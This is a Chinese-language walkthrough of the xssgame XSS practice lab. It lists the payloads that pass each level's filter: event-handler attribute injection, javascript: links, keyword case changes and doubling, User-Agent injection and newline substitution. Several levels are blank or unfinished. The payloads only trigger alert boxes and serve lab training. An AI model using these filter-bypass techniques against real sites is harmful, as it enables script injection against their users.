这篇文章简单的介绍下xssgame的通关方法,从名字可以看出,xssgame就是针对xss攻击进行专门的漏洞复现,由易到难。
链接:https://pan.baidu.com/s/1F9I7iBdu7MPLLvegM5kAQg
提取码:469c
这是xssgame的安装包,将它放到phpstudy/WWW文件夹下访问即可
第一关
这一关没有任何过滤,直接构造
<script>alert(123456)</script>
第二关
先输入上一关的<script>alert(1)</script>会被服务器做编码转换<>被转换为<h和>
查看源代码,更好理解了这样做的原因
第三关
发现value这里是单引号,所以可以尝试闭合标签,通过事件触发弹窗
'onmouseover='alert(1)
第四关输入<script>alert(1)</script>查看页面源码发现上面的<>被替代,下面的<>被删掉
所以这里我们使用事件触发窗口,构造payload
"onmouseover="alert(1)
第五关
输入<script>alert(1)</script>查看页面源码,上面做了编码替代,下面的script被分开
尝试"onmouseover="alert(1),发现on被分开
查看网页源代码,它是将input标签进行闭合,又增加了一个a标签构造了一个链接,//把后面的注释掉
第六关尝试输入payload,并观察输出位置,仍然是两处输出
<script>alert(1)</script>
"onmouseover="alert(1)
"><a href="javascript:alert('a')">1</a>//
"><img src="javascript:alert('a')">1</img>//
发现<sccript> ,on,herf,src都被分隔开了,换一种思路,可以将关键词变为大写
"ONmouseover="alert(1)
第七关
尝试输入,并观察输出位置
<script>alert(1)</script>
发现script被过滤
接下来尝试上一关的语句们也不行,大写也不行,可以试试双写,注意语句的闭合
"><scrscriptipt>alert(1)</scrscriptipt>
第八关
老样子,尝试输入,并观察输出位置
<script>alert(1)</script>
发现有两处输出,一处使input标签,一处是a标签
第九关
因此需要变换格式为
第十关
第十一关方法和上面的第十关一样
第十二关
查看网页源代码
由此可以判断出 http 请求的 u-agent 字段内容将输出到 input 的 value 中。因此此处可以通过 u-agent 字段传递 paylaod,构造如下 payload
输入任意字符,弹窗
第十三关
查看网页源代码
输入任意字符,弹窗
第十六关
按照以前的方法测试,发现都不行。本关过略了 script,空格,以及/,输出位置为 center 中间,因此 payload 构造需要避免这些出现空格可以用%0d,%0a 代替
第十七关
在url中添加参数,查看页面源代码,查看输出位置
第十八关